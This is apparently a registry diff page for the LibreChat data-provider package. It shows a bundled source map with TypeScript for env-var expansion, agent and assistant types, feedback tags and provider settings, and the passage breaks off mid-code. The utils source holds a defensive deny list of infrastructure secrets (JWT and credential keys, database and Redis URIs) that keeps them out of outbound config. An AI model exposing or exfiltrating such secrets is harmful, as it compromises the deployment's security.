librechat-data-provider 0.8.403 → 0.8.404
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/index.es.js +1 -1
- package/dist/index.es.js.map +1 -1
- package/dist/index.js +1 -1
- package/dist/index.js.map +1 -1
- package/dist/react-query/index.es.js +1 -1
- package/dist/react-query/index.es.js.map +1 -1
- package/dist/types/api-endpoints.d.ts +1 -0
- package/dist/types/config.d.ts +1358 -425
- package/dist/types/data-service.d.ts +3 -0
- package/dist/types/mcp.d.ts +27 -27
- package/dist/types/models.d.ts +6 -136
- package/dist/types/schemas.d.ts +295 -0
- package/package.json +2 -1
package/dist/index.es.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"index.es.js","sources":["../src/utils.ts","../src/types/assistants.ts","../src/feedback.ts","../src/schemas.ts","../src/models.ts","../src/file-config.ts","../src/api-endpoints.ts","../src/types/files.ts","../src/types/agents.ts","../src/mcp.ts","../src/config.ts","../src/types/runs.ts","../src/bedrock.ts","../src/parsers.ts","../src/artifacts.ts","../src/azure.ts","../src/messages.ts","../src/generate.ts","../src/permissions.ts","../src/roles.ts","../src/types/web.ts","../src/accessPermissions.ts","../src/keys.ts","../src/headers-helpers.ts","../src/request.ts","../src/data-service.ts","../src/actions.ts","../src/createPayload.ts","../src/parameterSettings.ts"],"sourcesContent":["export const envVarRegex = /^\\${(.+)}$/;\n\n/**\n * Infrastructure env vars that must never be resolved via placeholder expansion.\n * These are internal secrets whose exposure would compromise the system —\n * they have no legitimate reason to appear in outbound headers, MCP env/args, or OAuth config.\n *\n * Intentionally excludes API keys (operators reference them in config) and\n * OAuth/session secrets (referenced in MCP OAuth config via processMCPEnv).\n */\nconst SENSITIVE_ENV_VARS = new Set([\n 'JWT_SECRET',\n 'JWT_REFRESH_SECRET',\n 'CREDS_KEY',\n 'CREDS_IV',\n 'MEILI_MASTER_KEY',\n 'MONGO_URI',\n 'REDIS_URI',\n 'REDIS_PASSWORD',\n]);\n\n/** Returns true when `varName` refers to an infrastructure secret that must not leak. */\nexport function isSensitiveEnvVar(varName: string): boolean {\n return SENSITIVE_ENV_VARS.has(varName);\n}\n\n/** Extracts the environment variable name from a template literal string */\nexport function extractVariableName(value: string): string | null {\n if (!value) {\n return null;\n }\n\n const match = value.trim().match(envVarRegex);\n return match ? match[1] : null;\n}\n\n/** Extracts the value of an environment variable from a string. */\nexport function extractEnvVariable(value: string) {\n if (!value) {\n return value;\n }\n\n const trimmed = value.trim();\n\n const singleMatch = trimmed.match(envVarRegex);\n if (singleMatch) {\n const varName = singleMatch[1];\n if (isSensitiveEnvVar(varName)) {\n return trimmed;\n }\n return process.env[varName] || trimmed;\n }\n\n const regex = /\\${([^}]+)}/g;\n let result = trimmed;\n\n const matches = [];\n let match;\n while ((match = regex.exec(trimmed)) !== null) {\n matches.push({\n fullMatch: match[0],\n varName: match[1],\n index: match.index,\n });\n }\n\n for (let i = matches.length - 1; i >= 0; i--) {\n const { fullMatch, varName, index } = matches[i];\n if (isSensitiveEnvVar(varName)) {\n continue;\n }\n const envValue = process.env[varName] || fullMatch;\n result = result.substring(0, index) + envValue + result.substring(index + fullMatch.length);\n }\n\n return result;\n}\n\n/**\n * Normalize the endpoint name to system-expected value.\n * @param name\n */\nexport function normalizeEndpointName(name = ''): string {\n return name.toLowerCase() === 'ollama' ? 'ollama' : name;\n}\n","import type { OpenAPIV3 } from 'openapi-types';\nimport type { AssistantsEndpoint, AgentProvider } from 'src/schemas';\nimport type { Agents, GraphEdge } from './agents';\nimport type { ContentTypes } from './runs';\nimport type { TFile } from './files';\nimport { ArtifactModes } from 'src/artifacts';\n\nexport type Schema = OpenAPIV3.SchemaObject & { description?: string };\nexport type Reference = OpenAPIV3.ReferenceObject & { description?: string };\n\nexport type Metadata = {\n avatar?: string;\n author?: string;\n} & {\n [key: string]: unknown;\n};\n\nexport enum Tools {\n execute_code = 'execute_code',\n code_interpreter = 'code_interpreter',\n file_search = 'file_search',\n web_search = 'web_search',\n retrieval = 'retrieval',\n function = 'function',\n memory = 'memory',\n ui_resources = 'ui_resources',\n}\n\nexport enum EToolResources {\n code_interpreter = 'code_interpreter',\n execute_code = 'execute_code',\n file_search = 'file_search',\n image_edit = 'image_edit',\n context = 'context',\n ocr = 'ocr',\n}\n\nexport type Tool = {\n [type: string]: Tools;\n};\n\nexport type FunctionTool = {\n type: Tools;\n function?: {\n description: string;\n name: string;\n parameters: Record<string, unknown>;\n strict?: boolean;\n additionalProperties?: boolean; // must be false if strict is true https://platform.openai.com/docs/guides/structured-outputs/some-type-specific-keywords-are-not-yet-supported\n };\n};\n\n/**\n * A set of resources that are used by the assistant's tools. The resources are\n * specific to the type of tool. For example, the `code_interpreter` tool requires\n * a list of file IDs, while the `file_search` tool requires a list of vector store\n * IDs.\n */\nexport interface ToolResources {\n code_interpreter?: CodeInterpreterResource;\n file_search?: FileSearchResource;\n}\nexport interface CodeInterpreterResource {\n /**\n * A list of [file](https://platform.openai.com/docs/api-reference/files) IDs made\n * available to the `code_interpreter`` tool. There can be a maximum of 20 files\n * associated with the tool.\n */\n file_ids?: Array<string>;\n}\n\nexport interface FileSearchResource {\n /**\n * The ID of the\n * [vector store](https://platform.openai.com/docs/api-reference/vector-stores/object)\n * attached to this assistant. There can be a maximum of 1 vector store attached to\n * the assistant.\n */\n vector_store_ids?: Array<string>;\n}\n\n/* Assistant types */\n\nexport type Assistant = {\n id: string;\n created_at: number;\n description: string | null;\n file_ids?: string[];\n instructions: string | null;\n conversation_starters?: string[];\n metadata: Metadata | null;\n model: string;\n name: string | null;\n object: string;\n tools?: FunctionTool[];\n tool_resources?: ToolResources;\n};\n\nexport type TAssistantsMap = Record<AssistantsEndpoint, Record<string, Assistant>>;\n\nexport type AssistantCreateParams = {\n model: string;\n description?: string | null;\n file_ids?: string[];\n instructions?: string | null;\n conversation_starters?: string[];\n metadata?: Metadata | null;\n name?: string | null;\n tools?: Array<FunctionTool | string>;\n endpoint: AssistantsEndpoint;\n version: number | string;\n append_current_datetime?: boolean;\n};\n\nexport type AssistantUpdateParams = {\n model?: string;\n description?: string | null;\n file_ids?: string[];\n instructions?: string | null;\n conversation_starters?: string[] | null;\n metadata?: Metadata | null;\n name?: string | null;\n tools?: Array<FunctionTool | string>;\n tool_resources?: ToolResources;\n endpoint: AssistantsEndpoint;\n append_current_datetime?: boolean;\n};\n\nexport type AssistantListParams = {\n limit?: number;\n before?: string | null;\n after?: string | null;\n order?: 'asc' | 'desc';\n endpoint: AssistantsEndpoint;\n};\n\nexport type AssistantListResponse = {\n object: string;\n data: Assistant[];\n first_id: string;\n last_id: string;\n has_more: boolean;\n};\n\nexport type File = {\n file_id: string;\n id?: string;\n temp_file_id?: string;\n bytes: number;\n created_at: number;\n filename: string;\n object: string;\n purpose: 'fine-tune' | 'fine-tune-results' | 'assistants' | 'assistants_output';\n};\n\n/* Agent types */\n\nexport type AgentParameterValue = number | string | null;\n\nexport type AgentModelParameters = {\n model?: string;\n temperature: AgentParameterValue;\n maxContextTokens: AgentParameterValue;\n max_context_tokens: AgentParameterValue;\n max_output_tokens: AgentParameterValue;\n top_p: AgentParameterValue;\n frequency_penalty: AgentParameterValue;\n presence_penalty: AgentParameterValue;\n useResponsesApi?: boolean;\n};\n\nexport interface AgentBaseResource {\n /**\n * A list of file IDs made available to the tool.\n */\n file_ids?: Array<string>;\n /**\n * A list of files already fetched.\n */\n files?: Array<TFile>;\n}\n\nexport interface AgentToolResources {\n [EToolResources.image_edit]?: AgentBaseResource;\n [EToolResources.execute_code]?: ExecuteCodeResource;\n [EToolResources.file_search]?: AgentFileResource;\n [EToolResources.context]?: AgentBaseResource;\n /** @deprecated Use context instead */\n [EToolResources.ocr]?: AgentBaseResource;\n}\n/**\n * A resource for the execute_code tool.\n * Contains file IDs made available to the tool (max 20 files) and already fetched files.\n */\nexport type ExecuteCodeResource = AgentBaseResource;\n\nexport interface AgentFileResource extends AgentBaseResource {\n /**\n * The ID of the vector store attached to this agent. There\n * can be a maximum of 1 vector store attached to the agent.\n */\n vector_store_ids?: Array<string>;\n}\nexport type SupportContact = {\n name?: string;\n email?: string;\n};\n\n/**\n * Specifies who can invoke a tool.\n * - 'direct': LLM can call directly\n * - 'code_execution': Only callable via programmatic tool calling (PTC)\n */\nexport type AllowedCaller = 'direct' | 'code_execution';\n\n/**\n * Per-tool configuration options stored at the agent level.\n * Keyed by tool_id (e.g., \"search_mcp_github\").\n */\nexport type ToolOptions = {\n /**\n * If true, the tool uses deferred loading (discoverable via tool search).\n * @default false\n */\n defer_loading?: boolean;\n /**\n * Specifies who can invoke this tool.\n * - 'direct': LLM can call directly (default behavior)\n * - 'code_execution': Only callable via PTC sandbox\n * @default ['direct']\n */\n allowed_callers?: AllowedCaller[];\n};\n\n/**\n * Map of tool_id to its configuration options.\n * Used to customize tool behavior per agent.\n */\nexport type AgentToolOptions = Record<string, ToolOptions>;\n\nexport type Agent = {\n _id?: string;\n id: string;\n name: string | null;\n author?: string | null;\n /** The original custom endpoint name, lowercased */\n endpoint?: string | null;\n authorName?: string | null;\n description: string | null;\n created_at: number;\n avatar: AgentAvatar | null;\n instructions?: string | null;\n additional_instructions?: string | null;\n tools?: string[];\n tool_kwargs?: Record<string, unknown>;\n metadata?: Record<string, unknown>;\n provider: AgentProvider;\n model: string | null;\n model_parameters: AgentModelParameters;\n conversation_starters?: string[];\n tool_resources?: AgentToolResources;\n /** @deprecated Use edges instead */\n agent_ids?: string[];\n edges?: GraphEdge[];\n end_after_tools?: boolean;\n hide_sequential_outputs?: boolean;\n artifacts?: ArtifactModes;\n recursion_limit?: number;\n isPublic?: boolean;\n version?: number;\n category?: string;\n support_contact?: SupportContact;\n /** Per-tool configuration options (deferred loading, allowed callers, etc.) */\n tool_options?: AgentToolOptions;\n};\n\nexport type TAgentsMap = Record<string, Agent | undefined>;\n\nexport type AgentCreateParams = {\n name?: string | null;\n description?: string | null;\n avatar?: AgentAvatar | null;\n file_ids?: string[];\n instructions?: string | null;\n tools?: Array<FunctionTool | string>;\n provider: AgentProvider;\n model: string | null;\n model_parameters: AgentModelParameters;\n} & Pick<\n Agent,\n | 'agent_ids'\n | 'edges'\n | 'end_after_tools'\n | 'hide_sequential_outputs'\n | 'artifacts'\n | 'recursion_limit'\n | 'category'\n | 'support_contact'\n | 'tool_options'\n>;\n\nexport type AgentUpdateParams = {\n name?: string | null;\n description?: string | null;\n avatar?: AgentAvatar | null;\n file_ids?: string[];\n instructions?: string | null;\n tools?: Array<FunctionTool | string>;\n tool_resources?: ToolResources;\n provider?: AgentProvider;\n model?: string | null;\n model_parameters?: AgentModelParameters;\n} & Pick<\n Agent,\n | 'agent_ids'\n | 'edges'\n | 'end_after_tools'\n | 'hide_sequential_outputs'\n | 'artifacts'\n | 'recursion_limit'\n | 'category'\n | 'support_contact'\n | 'tool_options'\n>;\n\nexport type AgentListParams = {\n limit?: number;\n requiredPermission: number;\n category?: string;\n search?: string;\n cursor?: string;\n promoted?: 0 | 1;\n};\n\nexport type AgentListResponse = {\n object: string;\n data: Agent[];\n first_id: string;\n last_id: string;\n has_more: boolean;\n after?: string;\n};\n\nexport type AgentFile = {\n file_id: string;\n id?: string;\n temp_file_id?: string;\n bytes: number;\n created_at: number;\n filename: string;\n object: string;\n purpose: 'fine-tune' | 'fine-tune-results' | 'agents' | 'agents_output';\n};\n\n/**\n * Details of the Code Interpreter tool call the run step was involved in.\n * Includes the tool call ID, the code interpreter definition, and the type of tool call.\n */\nexport type CodeToolCall = {\n id: string; // The ID of the tool call.\n code_interpreter: {\n input: string; // The input to the Code Interpreter tool call.\n outputs: Array<Record<string, unknown>>; // The outputs from the Code Interpreter tool call.\n };\n type: 'code_interpreter'; // The type of tool call, always 'code_interpreter'.\n};\n\n/**\n * Details of a Function tool call the run step was involved in.\n * Includes the tool call ID, the function definition, and the type of tool call.\n */\nexport type FunctionToolCall = {\n id: string; // The ID of the tool call object.\n function: {\n arguments: string; // The arguments passed to the function.\n name: string; // The name of the function.\n output: string | null; // The output of the function, null if not submitted.\n };\n type: 'function'; // The type of tool call, always 'function'.\n};\n\n/**\n * Details of a Retrieval tool call the run step was involved in.\n * Includes the tool call ID and the type of tool call.\n */\nexport type RetrievalToolCall = {\n id: string; // The ID of the tool call object.\n retrieval: unknown; // An empty object for now.\n type: 'retrieval'; // The type of tool call, always 'retrieval'.\n};\n\n/**\n * Details of a Retrieval tool call the run step was involved in.\n * Includes the tool call ID and the type of tool call.\n */\nexport type FileSearchToolCall = {\n id: string; // The ID of the tool call object.\n file_search: unknown; // An empty object for now.\n type: 'file_search'; // The type of tool call, always 'retrieval'.\n};\n\n/**\n * Details of the tool calls involved in a run step.\n * Can be associated with one of three types of tools: `code_interpreter`, `retrieval`, or `function`.\n */\nexport type ToolCallsStepDetails = {\n tool_calls: Array<CodeToolCall | RetrievalToolCall | FileSearchToolCall | FunctionToolCall>; // An array of tool calls the run step was involved in.\n type: 'tool_calls'; // Always 'tool_calls'.\n};\n\nexport type ImageFile = TFile & {\n /**\n * The [File](https://platform.openai.com/docs/api-reference/files) ID of the image\n * in the message content.\n */\n file_id: string;\n filename: string;\n filepath: string;\n height: number;\n width: number;\n /**\n * Prompt used to generate the image if applicable.\n */\n prompt?: string;\n /**\n * Additional metadata used to generate or about the image/tool_call.\n */\n metadata?: Record<string, unknown>;\n};\n\n// FileCitation.ts\nexport type FileCitation = {\n end_index: number;\n file_citation: FileCitationDetails;\n start_index: number;\n text: string;\n type: 'file_citation';\n};\n\nexport type FileCitationDetails = {\n file_id: string;\n quote: string;\n};\n\nexport type FilePath = {\n end_index: number;\n file_path: FilePathDetails;\n start_index: number;\n text: string;\n type: 'file_path';\n};\n\nexport type FilePathDetails = {\n file_id: string;\n};\n\nexport type Text = {\n annotations?: Array<FileCitation | FilePath>;\n value: string;\n};\n\nexport enum AnnotationTypes {\n FILE_CITATION = 'file_citation',\n FILE_PATH = 'file_path',\n}\n\nexport enum StepStatus {\n IN_PROGRESS = 'in_progress',\n CANCELLED = 'cancelled',\n FAILED = 'failed',\n COMPLETED = 'completed',\n EXPIRED = 'expired',\n}\n\nexport enum MessageContentTypes {\n TEXT = 'text',\n IMAGE_FILE = 'image_file',\n}\n\n//enum for RunStatus\n// The status of the run: queued, in_progress, requires_action, cancelling, cancelled, failed, completed, or expired.\nexport enum RunStatus {\n QUEUED = 'queued',\n IN_PROGRESS = 'in_progress',\n REQUIRES_ACTION = 'requires_action',\n CANCELLING = 'cancelling',\n CANCELLED = 'cancelled',\n FAILED = 'failed',\n COMPLETED = 'completed',\n EXPIRED = 'expired',\n}\n\nexport type PartMetadata = {\n progress?: number;\n asset_pointer?: string;\n status?: string;\n action?: boolean;\n auth?: string;\n expires_at?: number;\n /** Index indicating parallel sibling content (same stepIndex in multi-agent runs) */\n siblingIndex?: number;\n /** Agent ID for parallel agent rendering - identifies which agent produced this content */\n agentId?: string;\n /** Group ID for parallel content - parts with same groupId are displayed in columns */\n groupId?: number;\n};\n\n/** Metadata for parallel content rendering - subset of PartMetadata */\nexport type ContentMetadata = Pick<PartMetadata, 'agentId' | 'groupId'>;\n\nexport type ContentPart = (\n | CodeToolCall\n | RetrievalToolCall\n | FileSearchToolCall\n | FunctionToolCall\n | Agents.AgentToolCall\n | ImageFile\n | Text\n) &\n PartMetadata;\n\nexport type TextData = (Text & PartMetadata) | undefined;\n\nexport type SummaryContentPart = {\n type: ContentTypes.SUMMARY;\n content?: Array<{ type: ContentTypes.TEXT; text: string }>;\n tokenCount?: number;\n summarizing?: boolean;\n summaryVersion?: number;\n model?: string;\n provider?: string;\n createdAt?: string;\n boundary?: {\n messageId: string;\n contentIndex: number;\n };\n};\n\nexport type TMessageContentParts =\n | ({\n type: ContentTypes.ERROR;\n text?: string | TextData;\n error?: string;\n } & ContentMetadata)\n | ({ type: ContentTypes.THINK; think?: string | TextData } & ContentMetadata)\n | ({\n type: ContentTypes.TEXT;\n text?: string | TextData;\n tool_call_ids?: string[];\n } & ContentMetadata)\n | ({\n type: ContentTypes.TOOL_CALL;\n tool_call: (\n | CodeToolCall\n | RetrievalToolCall\n | FileSearchToolCall\n | FunctionToolCall\n | Agents.AgentToolCall\n ) &\n PartMetadata;\n } & ContentMetadata)\n | ({ type: ContentTypes.IMAGE_FILE; image_file: ImageFile & PartMetadata } & ContentMetadata)\n | (SummaryContentPart & ContentMetadata)\n | (Agents.AgentUpdate & ContentMetadata)\n | (Agents.MessageContentImageUrl & ContentMetadata)\n | (Agents.MessageContentVideoUrl & ContentMetadata)\n | (Agents.MessageContentInputAudio & ContentMetadata);\n\nexport type StreamContentData = TMessageContentParts & {\n /** The index of the current content part */\n index: number;\n /** The current text content was already served but edited to replace elements therein */\n edited?: boolean;\n};\n\nexport type TContentData = StreamContentData & {\n messageId: string;\n conversationId: string;\n userMessageId: string;\n thread_id: string;\n stream?: boolean;\n};\n\nexport const actionDelimiter = '_action_';\nexport const actionDomainSeparator = '---';\nexport const hostImageIdSuffix = '_host_copy';\nexport const hostImageNamePrefix = 'host_copy_';\n\nexport type AssistantAvatar = {\n filepath: string;\n source: string;\n};\n\nexport type AssistantDocument = {\n user: string;\n assistant_id: string;\n conversation_starters?: string[];\n avatar?: AssistantAvatar;\n access_level?: number;\n file_ids?: string[];\n actions?: string[];\n createdAt?: Date;\n updatedAt?: Date;\n append_current_datetime?: boolean;\n};\n\n/* Agent types */\n\nexport type AgentAvatar = {\n filepath: string;\n source: string;\n};\n\nexport enum FilePurpose {\n Vision = 'vision',\n FineTune = 'fine-tune',\n FineTuneResults = 'fine-tune-results',\n Assistants = 'assistants',\n AssistantsOutput = 'assistants_output',\n}\n\nexport const defaultOrderQuery: {\n order: 'desc';\n limit: 100;\n} = {\n order: 'desc',\n limit: 100,\n};\n\nexport enum AssistantStreamEvents {\n ThreadCreated = 'thread.created',\n ThreadRunCreated = 'thread.run.created',\n ThreadRunQueued = 'thread.run.queued',\n ThreadRunInProgress = 'thread.run.in_progress',\n ThreadRunRequiresAction = 'thread.run.requires_action',\n ThreadRunCompleted = 'thread.run.completed',\n ThreadRunFailed = 'thread.run.failed',\n ThreadRunCancelling = 'thread.run.cancelling',\n ThreadRunCancelled = 'thread.run.cancelled',\n ThreadRunExpired = 'thread.run.expired',\n ThreadRunStepCreated = 'thread.run.step.created',\n ThreadRunStepInProgress = 'thread.run.step.in_progress',\n ThreadRunStepCompleted = 'thread.run.step.completed',\n ThreadRunStepFailed = 'thread.run.step.failed',\n ThreadRunStepCancelled = 'thread.run.step.cancelled',\n ThreadRunStepExpired = 'thread.run.step.expired',\n ThreadRunStepDelta = 'thread.run.step.delta',\n ThreadMessageCreated = 'thread.message.created',\n ThreadMessageInProgress = 'thread.message.in_progress',\n ThreadMessageCompleted = 'thread.message.completed',\n ThreadMessageIncomplete = 'thread.message.incomplete',\n ThreadMessageDelta = 'thread.message.delta',\n ErrorEvent = 'error',\n}\n","import { z } from 'zod';\n\nexport type TFeedbackRating = 'thumbsUp' | 'thumbsDown';\nexport const FEEDBACK_RATINGS = ['thumbsUp', 'thumbsDown'] as const;\n\nexport const FEEDBACK_REASON_KEYS = [\n // Down\n 'not_matched',\n 'inaccurate',\n 'bad_style',\n 'missing_image',\n 'unjustified_refusal',\n 'not_helpful',\n 'other',\n // Up\n 'accurate_reliable',\n 'creative_solution',\n 'clear_well_written',\n 'attention_to_detail',\n] as const;\n\nexport type TFeedbackTagKey = (typeof FEEDBACK_REASON_KEYS)[number];\n\nexport interface TFeedbackTag {\n key: TFeedbackTagKey;\n label: string;\n direction: TFeedbackRating;\n icon: string;\n}\n\n// --- Tag Registry ---\nexport const FEEDBACK_TAGS: TFeedbackTag[] = [\n // Thumbs Down\n {\n key: 'not_matched',\n label: 'com_ui_feedback_tag_not_matched',\n direction: 'thumbsDown',\n icon: 'AlertCircle',\n },\n {\n key: 'inaccurate',\n label: 'com_ui_feedback_tag_inaccurate',\n direction: 'thumbsDown',\n icon: 'AlertCircle',\n },\n {\n key: 'bad_style',\n label: 'com_ui_feedback_tag_bad_style',\n direction: 'thumbsDown',\n icon: 'PenTool',\n },\n {\n key: 'missing_image',\n label: 'com_ui_feedback_tag_missing_image',\n direction: 'thumbsDown',\n icon: 'ImageOff',\n },\n {\n key: 'unjustified_refusal',\n label: 'com_ui_feedback_tag_unjustified_refusal',\n direction: 'thumbsDown',\n icon: 'Ban',\n },\n {\n key: 'not_helpful',\n label: 'com_ui_feedback_tag_not_helpful',\n direction: 'thumbsDown',\n icon: 'ThumbsDown',\n },\n {\n key: 'other',\n label: 'com_ui_feedback_tag_other',\n direction: 'thumbsDown',\n icon: 'HelpCircle',\n },\n // Thumbs Up\n {\n key: 'accurate_reliable',\n label: 'com_ui_feedback_tag_accurate_reliable',\n direction: 'thumbsUp',\n icon: 'CheckCircle',\n },\n {\n key: 'creative_solution',\n label: 'com_ui_feedback_tag_creative_solution',\n direction: 'thumbsUp',\n icon: 'Lightbulb',\n },\n {\n key: 'clear_well_written',\n label: 'com_ui_feedback_tag_clear_well_written',\n direction: 'thumbsUp',\n icon: 'PenTool',\n },\n {\n key: 'attention_to_detail',\n label: 'com_ui_feedback_tag_attention_to_detail',\n direction: 'thumbsUp',\n icon: 'Search',\n },\n];\n\nexport function getTagsForRating(rating: TFeedbackRating): TFeedbackTag[] {\n return FEEDBACK_TAGS.filter((tag) => tag.direction === rating);\n}\n\nexport const feedbackTagKeySchema = z.enum(FEEDBACK_REASON_KEYS);\nexport const feedbackRatingSchema = z.enum(FEEDBACK_RATINGS);\n\nexport const feedbackSchema = z.object({\n rating: feedbackRatingSchema,\n tag: feedbackTagKeySchema,\n text: z.string().max(1024).optional(),\n});\n\nexport type TMinimalFeedback = z.infer<typeof feedbackSchema>;\n\nexport type TFeedback = {\n rating: TFeedbackRating;\n tag: TFeedbackTag | undefined;\n text?: string;\n};\n\nexport function toMinimalFeedback(feedback: TFeedback | undefined): TMinimalFeedback | undefined {\n if (!feedback?.rating || !feedback?.tag || !feedback.tag.key) {\n return undefined;\n }\n\n return {\n rating: feedback.rating,\n tag: feedback.tag.key,\n text: feedback.text,\n };\n}\n\nexport function getTagByKey(key: TFeedbackTagKey | undefined): TFeedbackTag | undefined {\n if (!key) {\n return undefined;\n }\n return FEEDBACK_TAGS.find((tag) => tag.key === key);\n}\n","import { z } from 'zod';\nimport { Tools } from './types/assistants';\nimport type { TMessageContentParts, FunctionTool, FunctionToolCall } from './types/assistants';\nimport { TFeedback, feedbackSchema } from './feedback';\nimport type { SearchResultData } from './types/web';\nimport type { TFile } from './types/files';\n\nexport const isUUID = z.string().uuid();\n\nexport enum AuthType {\n OVERRIDE_AUTH = 'override_auth',\n USER_PROVIDED = 'user_provided',\n SYSTEM_DEFINED = 'system_defined',\n}\n\nexport const authTypeSchema = z.nativeEnum(AuthType);\n\nexport enum EModelEndpoint {\n azureOpenAI = 'azureOpenAI',\n openAI = 'openAI',\n google = 'google',\n anthropic = 'anthropic',\n assistants = 'assistants',\n azureAssistants = 'azureAssistants',\n agents = 'agents',\n custom = 'custom',\n bedrock = 'bedrock',\n}\n\n/** Mirrors `@librechat/agents` providers */\nexport enum Providers {\n OPENAI = 'openAI',\n ANTHROPIC = 'anthropic',\n AZURE = 'azureOpenAI',\n GOOGLE = 'google',\n VERTEXAI = 'vertexai',\n BEDROCK = 'bedrock',\n MISTRALAI = 'mistralai',\n MISTRAL = 'mistral',\n DEEPSEEK = 'deepseek',\n MOONSHOT = 'moonshot',\n OPENROUTER = 'openrouter',\n XAI = 'xai',\n}\n\n/**\n * Endpoints that support direct PDF processing in the agent system\n */\nexport const documentSupportedProviders = new Set<string>([\n EModelEndpoint.anthropic,\n EModelEndpoint.openAI,\n EModelEndpoint.bedrock,\n EModelEndpoint.custom,\n // handled in AttachFileMenu and DragDropModal since azureOpenAI only supports documents with Use Responses API set to true\n // EModelEndpoint.azureOpenAI,\n EModelEndpoint.google,\n Providers.VERTEXAI,\n Providers.MISTRALAI,\n Providers.MISTRAL,\n Providers.DEEPSEEK,\n Providers.MOONSHOT,\n Providers.OPENROUTER,\n Providers.XAI,\n]);\n\nconst openAILikeProviders = new Set<string>([\n Providers.OPENAI,\n Providers.AZURE,\n EModelEndpoint.custom,\n Providers.MISTRALAI,\n Providers.MISTRAL,\n Providers.DEEPSEEK,\n Providers.MOONSHOT,\n Providers.OPENROUTER,\n Providers.XAI,\n]);\n\nexport const isOpenAILikeProvider = (provider?: string | null): boolean => {\n return openAILikeProviders.has(provider ?? '');\n};\n\nexport const isDocumentSupportedProvider = (provider?: string | null): boolean => {\n return documentSupportedProviders.has(provider ?? '');\n};\n\nexport const paramEndpoints = new Set<EModelEndpoint | string>([\n EModelEndpoint.agents,\n EModelEndpoint.openAI,\n EModelEndpoint.bedrock,\n EModelEndpoint.azureOpenAI,\n EModelEndpoint.anthropic,\n EModelEndpoint.custom,\n EModelEndpoint.google,\n]);\n\nexport enum BedrockProviders {\n AI21 = 'ai21',\n Amazon = 'amazon',\n Anthropic = 'anthropic',\n Cohere = 'cohere',\n DeepSeek = 'deepseek',\n Meta = 'meta',\n MistralAI = 'mistral',\n Moonshot = 'moonshot',\n MoonshotAI = 'moonshotai',\n OpenAI = 'openai',\n StabilityAI = 'stability',\n ZAI = 'zai',\n}\n\nexport const getModelKey = (endpoint: EModelEndpoint | string, model: string) => {\n if (endpoint === EModelEndpoint.bedrock) {\n const parts = model.split('.');\n const provider = [parts[0], parts[1]].find((part) =>\n Object.values(BedrockProviders).includes(part as BedrockProviders),\n );\n return (provider ?? parts[0]) as BedrockProviders;\n }\n return model;\n};\n\nexport const getSettingsKeys = (endpoint: EModelEndpoint | string, model: string) => {\n const endpointKey = endpoint;\n const modelKey = getModelKey(endpointKey, model);\n const combinedKey = `${endpointKey}-${modelKey}`;\n return [combinedKey, endpointKey];\n};\n\nexport type AssistantsEndpoint = EModelEndpoint.assistants | EModelEndpoint.azureAssistants;\n\nexport const isAssistantsEndpoint = (_endpoint?: AssistantsEndpoint | null | string): boolean => {\n const endpoint = _endpoint ?? '';\n if (!endpoint) {\n return false;\n }\n return endpoint.toLowerCase().endsWith(EModelEndpoint.assistants);\n};\n\nexport type AgentProvider = Exclude<keyof typeof EModelEndpoint, EModelEndpoint.agents> | string;\n\nexport const isAgentsEndpoint = (_endpoint?: EModelEndpoint.agents | null | string): boolean => {\n const endpoint = _endpoint ?? '';\n if (!endpoint) {\n return false;\n }\n return endpoint === EModelEndpoint.agents;\n};\n\nexport const isParamEndpoint = (\n endpoint: EModelEndpoint | string,\n endpointType?: EModelEndpoint | string,\n): boolean => {\n if (paramEndpoints.has(endpoint)) {\n return true;\n }\n\n if (endpointType != null) {\n return paramEndpoints.has(endpointType);\n }\n\n return false;\n};\n\nexport enum ImageDetail {\n low = 'low',\n auto = 'auto',\n high = 'high',\n}\n\nexport enum ReasoningEffort {\n unset = '',\n none = 'none',\n minimal = 'minimal',\n low = 'low',\n medium = 'medium',\n high = 'high',\n xhigh = 'xhigh',\n}\n\nexport enum AnthropicEffort {\n unset = '',\n low = 'low',\n medium = 'medium',\n high = 'high',\n max = 'max',\n}\n\nexport enum BedrockReasoningConfig {\n low = 'low',\n medium = 'medium',\n high = 'high',\n}\n\nexport enum ReasoningSummary {\n none = '',\n auto = 'auto',\n concise = 'concise',\n detailed = 'detailed',\n}\n\nexport enum Verbosity {\n none = '',\n low = 'low',\n medium = 'medium',\n high = 'high',\n}\n\nexport enum ThinkingLevel {\n unset = '',\n minimal = 'minimal',\n low = 'low',\n medium = 'medium',\n high = 'high',\n}\n\nexport const imageDetailNumeric = {\n [ImageDetail.low]: 0,\n [ImageDetail.auto]: 1,\n [ImageDetail.high]: 2,\n};\n\nexport const imageDetailValue = {\n 0: ImageDetail.low,\n 1: ImageDetail.auto,\n 2: ImageDetail.high,\n};\n\nexport const eImageDetailSchema = z.nativeEnum(ImageDetail);\nexport const eReasoningEffortSchema = z.nativeEnum(ReasoningEffort);\nexport const eAnthropicEffortSchema = z.nativeEnum(AnthropicEffort);\nexport const eReasoningSummarySchema = z.nativeEnum(ReasoningSummary);\nexport const eVerbositySchema = z.nativeEnum(Verbosity);\nexport const eThinkingLevelSchema = z.nativeEnum(ThinkingLevel);\n\nexport const defaultAssistantFormValues = {\n assistant: '',\n id: '',\n name: '',\n description: '',\n instructions: '',\n conversation_starters: [],\n model: '',\n functions: [],\n code_interpreter: false,\n image_vision: false,\n retrieval: false,\n append_current_datetime: false,\n};\n\nexport const defaultAgentFormValues = {\n agent: {},\n id: '',\n name: '',\n description: '',\n instructions: '',\n model: '',\n model_parameters: {},\n tools: [],\n tool_options: {},\n provider: {},\n edges: [],\n artifacts: '',\n recursion_limit: undefined,\n [Tools.execute_code]: false,\n [Tools.file_search]: false,\n [Tools.web_search]: false,\n category: 'general',\n support_contact: {\n name: '',\n email: '',\n },\n};\n\nexport const ImageVisionTool: FunctionTool = {\n type: Tools.function,\n [Tools.function]: {\n name: 'image_vision',\n description: 'Get detailed text descriptions for all current image attachments.',\n parameters: {\n type: 'object',\n properties: {},\n required: [],\n },\n },\n};\n\nexport const isImageVisionTool = (tool: FunctionTool | FunctionToolCall) =>\n tool.type === 'function' && tool.function?.name === ImageVisionTool.function?.name;\n\nexport const openAISettings = {\n model: {\n default: 'gpt-4o-mini' as const,\n },\n temperature: {\n min: 0 as const,\n max: 2 as const,\n step: 0.01 as const,\n default: 1 as const,\n },\n top_p: {\n min: 0 as const,\n max: 1 as const,\n step: 0.01 as const,\n default: 1 as const,\n },\n presence_penalty: {\n min: -2 as const,\n max: 2 as const,\n step: 0.01 as const,\n 